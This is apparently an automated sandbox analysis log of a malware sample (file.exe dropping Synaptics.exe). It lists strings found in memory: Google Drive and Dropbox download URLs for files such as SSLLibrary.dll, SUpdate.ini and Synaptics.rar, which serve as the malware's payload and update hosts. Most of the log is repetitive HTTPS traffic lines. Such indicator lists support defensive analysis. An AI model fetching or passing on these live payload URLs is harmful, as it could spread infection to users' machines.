Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxC
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxL
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxT
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxd
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady-
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyS
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyc
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyg
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..t
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyout
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyp
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz0
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzM
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzW
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzl
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~1
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~2
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~N
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~m
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~ts
Source: file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloadN
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.use
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.000000000057A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000003.00000002.1980458813.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNt
Source: Synaptics.exe, 00000003.00000002.1980458813.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ0cs
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc;
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadch
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:
Source: file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=8
Source: file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
Source: Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50161
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50171
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
